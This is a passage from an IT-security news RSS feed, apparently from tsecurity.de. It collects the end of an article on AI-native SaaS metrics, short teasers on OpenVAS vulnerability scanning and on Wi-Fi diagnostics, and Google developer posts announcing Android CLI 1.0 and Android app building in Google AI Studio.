<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vulnerability Scanning with OpenVAS 9 part 1: Installation & Setup]]></title>
<description><![CDATA[A couple years ago we did a tutorial on Hacking Tutorials on how to install the popular vulnerability assessment tool OpenVAS on Kali Linux. We’ve covered the installation process on Kali Linux and running a basic scan on the Metasploitable 2 virtual machine to identify vulnerabilities. In this t...]]></description>
<link>https://tsecurity.de/de/3694245/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-1-installation-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694245/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-1-installation-setup/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A couple years ago we did a tutorial on Hacking Tutorials on how to install the popular vulnerability assessment tool OpenVAS on Kali Linux. We’ve covered the installation process on Kali Linux and running a basic scan on the Metasploitable 2 virtual machine to identify vulnerabilities. In this tutorial I want to cover more details [...]</p>
<p>The post <a href="https://www.hackingtutorials.org/scanning-tutorials/vulnerability-scanning-openvas-9-pt-1/">Vulnerability Scanning with OpenVAS 9 part 1: Installation &amp; Setup</a> appeared first on <a href="https://www.hackingtutorials.org/">Hacking Tutorials</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I fixed my home office's spotty Wi-Fi with Samsung's free diagnostic tool - and it took just minutes]]></title>
<description><![CDATA[A recent uptick in lag and disconnects led me to reevaluate my home office setup. Here's how I validated my solution.]]></description>
<link>https://tsecurity.de/de/3694168/it-security-nachrichten/i-fixed-my-home-offices-spotty-wi-fi-with-samsungs-free-diagnostic-tool-and-it-took-just-minutes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694168/it-security-nachrichten/i-fixed-my-home-offices-spotty-wi-fi-with-samsungs-free-diagnostic-tool-and-it-took-just-minutes/</guid>
<pubDate>Sat, 25 Jul 2026 18:51:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A recent uptick in lag and disconnects led me to reevaluate my home office setup. Here's how I validated my solution.]]></content:encoded>
</item>
<item>
<title><![CDATA[Android CLI Now Stable 1.0: Accelerate developing for Android using any agent]]></title>
<description><![CDATA[Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity...]]></description>
<link>https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:49 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVLU7gkfsf4axphzvtOKcqEkI3MLKZqX6Y9jGVReW6Ximz61c8klVVc0_Xs5Fw_aqk5yjl3K-Mit6cyKq0SLOJbUhUZ7R3dZZcwShqn5jYp-DuHY8hNoBWHJkicoIJ9DKRINQt6seAB3s2mcwANFYX9k0scYyCgfIYQrof7ImxOvzEW7BNj0ZPwEGB5FI/s2048/GoogleForDevelopers-AndroidCombo3-StrapiMetacard-2048x1323%20(1).png">





<div><div class="separator"><i>Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers</i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s4209/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s16000/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"></a></div></div><div><br></div><div>
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

  <p><span></span></p>
<p><span></span></p>
<div class="separator">
    <div>
        </div></div>
<p></p>

  <p>At <b>Google I/O ‘26</b>, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a>—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.</p>

  <div>If you’re already using Android CLI and want to jump into using all the new features, just run <span><code>android update<code></code></code></span>. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.</div>

  <h3>Android development unlocked for Antigravity</h3>
  <p><a href="https://antigravity.google/">Google Antigravity</a> now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the <b>Settings &gt; Customizations &gt; Build With Google Plugins</b> menu.</p><p>This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI2fhgZRJRpz8TXcX4OC2CALzgOfHhKyVmVG0IaMsibqaAUVbZORx-5fbVrYUKlp0Fl1qk1wZ02jbrYSfFGRCtOvnOzWWYdw8G3or9ul_QY2yvT6Wm-kEIjAJtfj75kNWlSswAqoUCLvSefnFY3JMw7NQOA8hkDn3nc232oyEK1VN5ZM_UHbAEJWolWE/s16000/agy-android-cli%20(1).png"></div><i><div><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></div></i><h3>Unlocking Android Studio capabilities for any agent</h3><p>Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRp6RfqiD9adFdIQS9Fm_a3p_5X6K5Fjo5rEQhOeOqFpvjlQ-04DHav5atkLF7IZvnpdMaQqG_oBAhmcvCPRtAvsW7AH0Q3VF18y-TBUITLXBglNbR2o99sC-hJgj_D-OhF51rLO_OYi1RXdm6GBfgZqfsTdQa1CY6_g10D2LwLun3S1CjfqOY2pqp02Y/s16000/agy-android-studio%20(1).png"></div><div><i>Your agents can now use Android CLI to access powerful capabilities of Android Studio.</i></div><p>The latest version of Android CLI introduces the new <code>android studio</code> command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.</p>

  <p>When you have a project open in the latest <a href="https://developer.android.com/studio/preview">preview version</a> of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:</p>

<pre><span><p dir="ltr"><span>$ android studio check</span></p><p dir="ltr"><span>pid: </span><span>32942</span></p><p dir="ltr"><span>version: </span><span>Android Studio</span></p><p dir="ltr"><span>Projects:</span></p><span>    </span><span>READY</span><span>     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main</span></span></pre>

  <p>From there, the agents can use the <code>android studio</code> command to access powerful IDE tools to interact with projects more efficiently. Key commands include:</p><p></p><ul><li><b>analyze-file:</b> Analyzes a file for errors and warnings using the editor's built-in inspections.</li><li><b>find-declaration:</b> Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.</li><li><b>find-usages: </b>Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.</li><li><b>render-compose-preview: </b>Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.</li><li><b>version-lookup:</b> Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.</li><li><b>open-file: </b>Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.</li></ul><p></p><ul>
  </ul>

  <p>For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.</p>

<pre><span><p dir="ltr"><span>$ android studio </span><span>find-declaration</span><span> HotelDetailScreen</span></p><p dir="ltr"><span>$ android studio </span><span>analyze-file</span><span> .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></p><span>$ android studio </span><span>open-file</span><span> feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></span></pre>

  <p>To learn more about how to use these commands, run <code>android help</code>. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running <code>android init</code>.</p>

  <h3>More ways to get started</h3>
  <p>To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:</p>

  <pre>winget install -e --id Google.AndroidCLI</pre>

  <p>We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the <a href="https://developer.android.com/tools/agents/android-cli/archive">Android CLI page</a>.</p>

  <h3>Support for Journeys</h3>
  <div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip7lO5BVjTIeJXDWyrGOdl4KpPTo8_oEcf0qLFUBRfPgOazlG7C9eLWDLdnNYb68-rlon4uOE4qo62WC_U7SaAOYwLG3Vbr0v_lRsh-iNoPzVMmFbAgKXXN1hz9Qj7rMImyybqHCU34ryMlml2fCquAyfNgp1yWiZu-CsP1Jowx4o0z69_wkNtYR0GQIM/s16000/android-cli-write-journey.png"></div><div><i>Journeys are natural language descriptions of core user experiences.</i></div><div><span><span><br></span></span></div>We are also introducing support for <a href="https://developer.android.com/tools/agents/android-cli/journeys">Journeys</a>. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.</div><div> <div class="separator"><img border="0" data-original-height="576" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeAW4kjqfV1t_mAw_iYwgWSczw3q-h3VEOAuDAe12uBel0niX6M2KAoGrs6M2UHhT3t1GvBZs-c3w0R87W6HgCAzHQZOdFjixUHyYCZRzhOgB_RtOkVh0Ph8cDFki0sWI8i5CFNXxGxBHai0uh0RZw5E9kcJUvl8DJtPT3tnkaQm5r8UHuWMstopnTnnI/s16000/android-cli-journey-run.gif"></div><p><i>(sped up) An agent running a Journey it generated for an app.</i></p>Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.
  
  <h3>Expanding Android skills</h3>
  <p>To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our <a href="https://github.com/android/skills">library of Android skills</a>. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:</p><p></p><ul><li><b>Display Glasses and Jetpack Compose Glimmer for XR: </b>Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.</li><li><b>Migration to CameraX:</b> Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</li><li><b>Perfetto SQL:</b> Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.</li><li><b>Adaptive UI:</b> Instructions to make or update an app's UI so that it adapts to different Android devices</li><li><b>Testing setup: </b>Creates a basic testing strategy.</li><li><b>Styles:</b> Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API. </li><li><b>AppFunctions: </b>Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.</li></ul><p></p><p>You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:</p>
<pre>android init
</pre>
  <p>From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:</p>
<pre>android skills list
</pre>
  <p>Once you've found the right skill, install it to your environment by running:</p>
<pre>android skills add –skill=&lt;skill-name&gt;
</pre>
  
  <h3>Get started today</h3>
  <p>To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to <a href="https://d.android.com/tools/agents">d.android.com/tools/agents</a> today!  Also, make sure you update to the <a href="https://developer.android.com/studio/preview">latest preview version of Android Studio</a> to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a> and  share your feedback.</p><p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google.</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
